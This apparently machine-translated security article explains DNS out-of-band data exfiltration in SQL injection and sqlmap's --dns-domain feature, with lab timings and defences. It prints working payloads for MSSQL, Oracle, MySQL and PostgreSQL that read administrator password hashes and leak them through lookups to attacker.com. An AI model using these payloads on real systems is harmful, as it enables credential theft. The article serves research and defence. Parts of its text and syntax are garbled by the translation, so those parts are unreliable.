Use DNS to retrieve data in SQL Injection
0x00 Preface
This article describes an advanced SQL injection technology that uses DNS resolution to obtain malicious SQL query results. DNS requests with SQL query results are finally intercepted by remote domain name servers controlled by attackers and valuable data is extracted.
SqlMap, an open-source SQL injection tool, can now automatically complete this task. With the completion of the SqlMap upgrade, attackers can use this technology for fast and low-key data retrieval, especially when other standard methods fail.
0x01 Introduction
Infiltration is a military term used to steal assets from the enemy's territory through concealed means. Today, it has an excellent usage on computers, referring to the illegal extraction of data from a system. The method for extracting data from the Domain Name Server (DNS) is considered to be the most concealed infiltration method. This method can even be used for domain name query by a series of internal and external domain name servers other than trusted hosts for systems without public network connections.
DNS is a relatively simple protocol. The query statement sent by the DNS client and the response statement returned by the corresponding DNS server use the same basic DNS message format. In addition to the use of TCP for zone transfer to improve its reliability, all DNS packets use UDP encapsulation. If someone uses tools like Wireshark to monitor machines, a hidden channel using DNS looks like a series of transient little bits.
Forwarding DNS queries to any Internet-Based Domain Name Server in the security system is the basis for achieving this uncontrolled data channel. Even if we assume that the target host is not allowed to connect to the public network, if the target host can resolve any domain name, the data may still leak through forwarding DNS queries.
When other faster SQL injection (SQLI) data retrieval techniques fail, attackers usually use a bit-by-bit data retrieval method, which is a complicated and time-consuming process. Therefore, attackers usually need to send thousands of requests to obtain the content of a normal table. Will we? It is mentioned that an attacker initiates a specially crafted DNS request by exploiting the vulnerability of the database management system (DBMS) and intercepts it at the other end to retrieve the results of malicious SQL statements (such as the administrator password ), the technology that can transmit dozens of result characters in each loop.
0x02 technical classification
Based on the transmission channels used for data retrieval, SQLi can be divided into three independent categories: inband, inference and out-of-band.
Inband technology uses existing channels between attackers and vulnerable Web applications to extract data. Generally, this channel is a standard Web server response. Its member union technology uses existing web pages to output execution results of malicious SQL queries, while error-based technology triggers DBMS error messages for execution results of specific malicious SQL queries.
On the contrary, in Inference technology, attackers can infer data values based on differences in application performance. Inference technology can extract malicious SQL query results one by one without actually transmitting data.
The core of Inference is to execute a series of Boolean queries on the server, observe and finally derive the meaning of the received results. According to the observed characteristics, its members are called boolean blind injection (bool) and time-based blind injection technology. In the Boolean blind injection technology, visible network servers are used to differentiate answers to given logical questions in response to changes in content,
In the time-based blind injection technology, the answer is inferred by observing the changes in the response time of the Web server.
The Out-of-band (OOB) technology, opposite to inband, uses other transmission channels to obtain data, such as Hypertext Transfer Protocol and DNS resolution protocol. When detailed error information is disabled, results are restricted or filtered, outbound filtering rules are lax, and/or when the number of reduced queries becomes extremely important, inference technology looks like a unique choice, in this case, OOB technology penetration becomes very interesting. For example, when the SQL query result based on the HTTP OOB technology becomes a part of the request sent to the HTTP server (such as the GET parameter value), it is controlled by attackers who can access log files. Unlike other mainstream technologies, this type of technology is widely used, mainly because the settings required are very complex, however, using these methods can overcome many obstacles (such as avoiding unnecessary database writes and greatly improving the time-based SQLI exploitation of the INSERT/UPDATE statement vulnerability ).
0x03 DNS resolution
When a client needs to find the network name used in the program, it queries the DNS server. DNS queries have many different resolution methods:
If the information has been obtained by the same query in advance, the client can use the local cache information to respond to the query.
A DNS server can use its own high-speed cache and/or zone-recorded information to respond to queries-this process is called iteration.
The DNS server can also forward the query to other DNS servers that represent the requested client with a full resolution of the name, and then send the response back to the client-this process is called recursion.
For example, use the recursive procedure to parse the name test.example.com. This occurs when the DNS server and client are started for the first time and there is no local cache information that can be used to resolve domain name queries. In addition, assume that the domain name query initiated by the client is a domain name that does not have the region information configured locally.
First, the default DNS server resolves the domain name's full name and determines that the domain name is an authoritative top-level domain name (TLD) server that needs to know the address-in this case domain name. Then, it uses an iterative (non-recursive) query of the server to obtain the recommended example.com domain.
When its address is retrieved, the referenced server is connected-this is actually a Domain Name Server registered with example.com. Because the configured area contains the queried domain name, it returns the obtained IP address as an authoritative response to the original server that initiates the process.
When the original DNS server receives the authoritative response from the requested query, it forwards the response back to the client and the recursive query process ends. This type of solution is usually initiated when the DNS server attempts to resolve recursive domain name queries initiated by the DNS Client, and is sometimes called the "walking the tree ).
0x04 causes DNS requests
The prerequisite for successful use of DNS to leak data from a vulnerable database is that the DBMS has available subprograms that can directly or indirectly trigger the DNS resolution process. This type of subroutine is then exploited by attackers as a medium of attacks.
Any function that can accept network addresses is most likely to be used for such attacks.
? 4.1 Microsoft SQL Server
Extended storage is a dynamic link that runs directly on Microsoft's address space database SQL Server (MSSQL. There are several unspecified extended storage programs that are particularly useful for the purposes of this article.
Attackers can use Microsoft Windows Universal Naming Convention (UNC) file and directory path formats to trigger DNS address resolution using any of the following extended storage programs. The UNC syntax in Windows has a common format :?
\\ComputerName\SharedFolder\Resource
Attackers can use a custom address as the computer name segment value to trigger DNS requests.
4.1.1 master .. xp_dirtree
The extended storage program master.. xp_dirtree () is used to obtain the list of all folders and the subfolders in the given Folder:
?master..xp_dirtree '<dirpath>'
For example, to obtain all the folders and subfolders in C: \ Windows run:
?EXEC master..xp_dirtree 'C:\Windows';? 4.1.2 master..xp_fileexist
The extended storage program master.. xp_fileexist () is used to determine whether a specific file exists on the hard disk :? Xp_fileexist' 'For example, to check whether the boot. ini file exists in disk C, run:
?EXEC master..xp_fileexist 'C:\boot.ini';
? 4.1.3 master .. xp_subdirs
The extended storage program master.. xp_subdirs () is used to obtain the folder list in the given Folder :?
master..xp_subdirs '<dirpath>'
For example, to obtain all the sub-folders in C: \ Windows :?
EXEC master..xp_subdirs 'C:\Windows';?
4.1.4 example
Next, we will use the extended storage program master .. xp_dirtree () of MsSQL to hash the password of the Administrator (sa) and transmit it through DNS .?
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
This pre-calculated form is used because the extended storage program does not accept subqueries with parameters. Therefore, temporary variables are used to store SQL query results.
4.2 Oracle?
The PL/SQL packages provided by Oracle are bundled on its Oracle database server to expand database functions. For the purpose of this Article, several packages for network access are of special interest.
? 4.2.1 UTL_INADDR.GET_HOST_ADDRESS
The UTL_INADDR package is used for Internet addressing, such as retrieving the Host Name and IP address of a local or remote host.
Its member function GET_HOST_ADDRESS () is used to retrieve the IP address of a specific host:
?UTL_INADDR.GET_HOST_ADDRESS('
For example, to obtain the IP address of test.example.com, run :?
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');?
4.2.2 UTL_HTTP.REQUEST
The UTL_HTTP package is used to mark HTTP from SQL and PL/SQL. Its program REQUEST () returns the 1-2000 bytes of data retrieved from the given address :? UTL_HTTP.REQUEST ('
')
For example, to obtain the data of the first two thousand characters on the http://test.example.com/index.php page, run:
?SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;?
4.2.3 HTTPURITYPE. GETCLOB
The HTTPURITYPE class instance method GETCLOB () returns the CLOB (Character Large Object) retrieved from the given address )? HTTPURITYPE ('
'). GETCLOB ()
For example, you can search and run the content at http://test.example.com/index.php:
?SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
4.2.4 DBMS_LDAP.INIT
The DBMS_LDAP package enables PL/SQL programmers to access Lightweight Directory Access Protocol (LDAP) servers. Its program INIT () is used to initialize sessions with the LDAP server :? DBMS_LDAP.INIT (('
',
)
For example, initialize the connection to test.example.com:
?SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
Attackers can use any of the Oracle subprograms mentioned above to initiate DNS requests. However, in Oracle 11g, all network access subroutines except DBMS_LDAP.INIT () may be restricted .?
4.2.5 example
In the following example, the password hash of the system administrator (SYS) is transmitted by the Oracle program DBMS_LDAP.INIT () through the DNS resolution mechanism:
?SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;?
4.3 MySQL?
4.3.1 LOAD_FILE
MySQL function LOAD_FILE () reads the file content and returns it as a string :? LOAD_FILE ('
')
For example, to obtain the content of the C: \ Windows \ system. ini file, run:
?SELECT LOAD_FILE('C:\\Windows\\system.ini') ;?
4.3.2 example
The following is an example of using the MySQL function LOAD_FILE () to transfer the password of the System Administrator through the DNS resolution mechanism :?
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'? LIMIT 1),'.attacker.com\\foobar'));
4.4 PostgreSQL
? 4.4.1 COPY
PostgreSQL statement COPY is used to COPY data between files and tables in the file system:
?COPY <table>(<column>,...) FROM '<path>'
For example, to copy the file C: \ Windows \ Temp \ users.txt to a users table containing a unique names column, run :?
COPY users(names) FROM 'C:\\Windows\\Temp\\users.txt'?
4.4.2 The following is an example of using PostgreSQL's statement COPY to transmit the password of the System Administrator through the DNS resolution mechanism:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
This pre-calculation method is used because SQL statement COPY does not accept subqueries.
At the same time, PostgreSQL variables must be explicitly declared and used within the scope of subprograms (functions or programs. Therefore, the User-Defined storage function is used.
0x05 implementation
As mentioned above, the SQL injection tool I selected is SqlMap, mainly because the author of this article is also one of its developers and upgrades it to support DNS leakage. The new command line option-dns-domain has been added to run the new program flow. With this feature, you can enable support for DNS leakage and notify SqlMap of all DNS resolution requests that are initiated to point to a given domain (for example, -- dns-domain = attacker.com ).
A Domain Name Server entry (such as ns1.attacker.com) must contain the IP address of a machine running SqlMap.
There, SqlMap runs as a false name server and provides a valid (but false) response, triggering Incoming DNS resolution requests. The falsely returned response service is run only to immediately unlock the waiting Web server without results because the program is not processing the webpage content itself.
For each downloaded project, SqlMap sends a normal HTTP request containing a special sqli dns seepage vector, and runs and records all incoming DNS requests in the background. Since each malicious SQL query result is closed by a unique random prefix and suffix string, it is not difficult to tell which SQLIDNS seepage vector the DNS resolution request comes from. In addition, due to the random closed characters, almost all DNS Cache mechanisms are invalid, almost forcing the server to perform recursive DNS resolution. DBMSes MsSQL, Oracle, MySQL, and? PostgreSQL support. However, as mentioned above, only Oracle can support both Windows and Linux backend platforms, because other databases need to support processing Windows UNC file path formats.
When running SqlMap, the union and error-based technologies have the highest priority, mainly because they are fast and do not require special requirements.
Therefore, SqlMap supports dns leakage only when the slow inference technical method is available and the DNS-domain option is explicitly set by the user. The results of each DNS resolution request are encoded in hexadecimal format according to the RFC1034 DNS domain name standard.
In this way, all non-word characters are retained. In addition, it indicates that the hexadecimal format of long SQL query results is split. This is required because the node labels (such as. example.) in the entire domain name are limited to 63 characters in length.
0x06 experiment settings and results
To conduct the experiment, you need to configure and use three machines:
? 1) attacker (172.16.138.1)-physical server
Ubuntu 12.04 LTS 64-bit OS running latest?
Sqlmap v1.0-dev (r5100) 12?
2) Web (172.16.138.129)-server-Virtual Machine
With Windows XP 32-bit SP1 OS running? XAMPP 1.7.3 instance containing deliberately SQLi vulnerable MySQL/PHP web application
? 3) DNS server (172.16.138.130)-Virtual Machine
With CentOS 6.2 64-bit OS running a BIND
Use VMware Workstation 8.0.2 to create a virtual environment. All tests are performed in the local Virtual Network (172.16.138.0/24. The attacker is used to attack a vulnerable web server. the DNS server is used to register a Domain Name Server and process the DNS resolution of the domain name attacker.com by the web server and return them to the attacker.
All technologies supported by SqlMap are tested, including DNS leakage supported by the latest implementation. The number and time of HTTP requests are recorded and measured by the information_schema table of the system. The COLLATIONS table is used for dragging (about 4 kb ).
Table 1. Speed comparison of SQLI Technology
Method |
# Of requests |
Time (sec) |
Boolean-based blind |
29,212 |
214.04 |
Time-based (1 sec) |
32,716 |
17,720.51 |
Error-based |
777 |
9.02 |
Union (full/partial) |
3/136 |
0.70/2.50 |
DNS exfiltration |
1,409 |
35.31 |
0x07
From the results given in Table 1, we can see that inband Technology (union and error-based) is the fastest method, while inference technology (Boolean blind injection and time-based blind injection) is the slowest.
DNS leakage, as expected, is slower than the slowest inband (error-based), but faster than the fastest inference method (Boolean blind injection.
Time-based blind injection is obviously too slow. In reality, because of the connection latency and the time needed to load normal page sizes, all technologies are destined to have additional latency for each request.
When SQL I is used to attack a vulnerable page, a small table will be returned, which makes connection read very fast.
In addition, in real-life scenarios, unnecessary connection latency will cause time-based technology to require a higher latency, making the dump process slower.
In real life, there is also a fact that the technology of DNS leakage will have additional latency when using non-local DNS servers.
However, it is still very different from the inference technology, because the latter requires more time to restore the same data and it will take more time to retrieve, to obtain the same data, the latter must have more requests.
All in all, the value of DNS leakage technology looks better, making it a perfect alternative to the inference method.
Figure 3: traffic when the captured SqlMap uses DNS to leak out
0x08 Defense Techniques
? To prevent the attacks described in this article, we must first avoid SQLI having the highest priority.
Using pre-processing statements is considered the safest precaution.
The pre-processing statement ensures that the query intent is not changed by the attacker when the SQL command is inserted .?
However, various ban mechanisms such as magic_quote () and addslashes () cannot completely prevent the existence or exploitation of SQLI vulnerabilities, because in the environment where some technologies work together, attackers can still exploit this vulnerability.
Conversely, if you do not use preprocessing statements, we recommend that you use the input verification tool to reject malicious input, rather than escape or modify it.
The Administrator should prepare for unauthorized access to the underlying database.
Many counterattack measures are to restrict access to all databases to the minimum permissions.
Therefore, any given permission should be granted with the least code to complete the work within the shortest duration.
According to this principle, users must only obtain the necessary information and resources.
In the last step, the Administrator must ensure that the execution of all unnecessary system subprograms is restricted in order to successfully mitigate DNS infiltration attacks.
If everything fails, attackers must be unable to run programs that can initiate DNS requests.
There are some work to detect malicious activities in DNS traffic in the domain, but most of them lack practical and mainstream solutions, so this is not mentioned here .? 9. Conclusion This article demonstrates how attackers can use the DNS infiltration technology to greatly accelerate the data retrieval of inference SQLI technology, which is relatively slow.
In addition, this technology only requires requests to vulnerable Web servers, greatly reducing the server's busy schedule.
Because domain name servers need to be controlled, they may not be used by most attackers.
However, it is easy to implement, so its actual value cannot be ignored.
SqlMap has implemented support for it, so everyone can study it further.
0x09 references
1 sqlmap-automatic SQL injection and database takeover tool, Bernardo Damele A. G., Miroslav? Tampar, http://www.sqlmap.org /?
2 Exfiltration: How Hackers Get the Data Out, Jart Armin, May 2011, http://news.hostexploit.com/cybercrimenews/4877-exfiltration-how-hackers-get-thedata-out.html?
3 Wireshark-network protocol analyzer, Wireshark Foundation, https://www.wireshark.org /?
4 The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, Bill Blunden, WordWare Publishing, Inc., 2009
5 DNS as a Covert Channel Within Protected Networks, Seth Bromberger, National Electric Sector Cyber Security Organization (NESCO), January 2001, http://energy.gov/sites/prod/files/oeprod/DocumentsandMedia/DNS_Exfiltration_2011-01-01_v1.1.pdf?
6 Data-mining with SQL Injection and Inference, David Litchfield, An NGSSoftware Insight Security Research Publication, September 2005, http://www.nccgroup.com/Libraries/Document_Downloads/Data Mining_With_ SQL _Injection_and_Inference.sflb.ashx?
7 Advanced SQL Injection, Joseph McCray, February 2009, http://www.slideshare.net/joemccray/AdvancedSQLInjectionv2
8 SQL Injection and Data Mining through Inference, David Litchfield, BlackHat EU, 2005 ,? Https://www.blackhat.com/presentations/bheurope-05/bh-eu-05-litchfield.pdf?
9 SQL-Injection & OOB-channels, Patrik Karlsson, DEF CON 15, August 2007, https://www.defcon.org/images/defcon15/dc15-presentations/dc-15-karlsson.pdf?
10 The TCP/IP Guide: A Comprehensive, The specified strated Internet Protocols Reference, Charles M. Kozierok, NoStarch Press, 2005
11 How DNS query works, Microsoft TechNet, January 2005, http://technet.microsoft.com/en? Us/library/cc775637 (v = ws.10). aspx?
12 Microsoft Windows 2000 DNS: Implementation and Administration, Kevin Kocis, Sams Publishing, 2001?
13 Useful unsigented extended stored procedures, Alexander Chigrik, 2010, http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm?
14 Oracle9i xml api Reference-XDK and OracleXML DB (Release 2), Oracle Corporation, March 2002, http://docs.oracle.com/cd/B10501_01/appdev.920/a96616.pdf?
15 Hacking Oracle From Web Apps, Sumit Siddharth, Aleksander Gorkowienko, 7 Safe, def con 18, November 2010, https://www.defcon.org/images/defcon-18/dc18-presentations/Siddharth/DEFCON-18-Siddharth-Hacking-Oracle-From-Web.pdf
? 16 Exploiting PL/SQL Injection With Only CREATE SESSION Privileges in Oracle 11g, David Litchfield, AnNGSSoftware Insight Security Research Publication, October 2009 ,? Http://www.databasesecurity.com/ExploitingPLSQLinOracle11g.pdf
17 RFC 1034: Domain Names-Concepts andFacilities, Paul Mockapetris, November 1987, https://www.ietf.org/rfc/rfc1034.txt
? 18 SQL Injection Prevention Cheat Sheet, Open Web Application Security Project, March 2012, https://www.owasp.org/index.php/ SQL _Injection_Prevention_Cheat_Sheet?
19 Parametrized SQL statement, Rosetta Code, August 2011, http://rosettacode.org/wiki/Parametrized_ SQL _statement
20 SQL Injection Attacks and Defense, Justin Clarke, Syngress, 2009?
21 addslashes () Versus mysql_real_escape_string (), Chris Shiflett, January 2006, http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string?
22 Advanced SQL Injection, Victor Chapela, Sm4rtSecurity Services, OWASP, November 2005, https://www.owasp.org/images/7/74/Advanced_ SQL _Injection.ppt?
23 Security Overview (ADO. NET), MSDN, Microsoft, 2012., http://msdn.microsoft.com/enus/library/hdb58b2f.aspx?
24 The Web Application Hacker's Handbook: Findingand Exploiting Security Flaws, Dafydd Stuttard, MarcusPinto, John Wiley & Sons, 2011?
25 Detecting DNS Tunnels Using Character Frequency Analysis, Kenton Born, Dr. David Gustafson, Kansas State University, California l 2010, http://arxiv.org/pdf/1004.4358.pdf
26 Finding Malicious Activity in Bulk DNS Data, EdStoner, Carnegie Mellon University, 2010 ,? Www.cert.org/archive/#/research-rpt2009/stoner-mal-act.pdf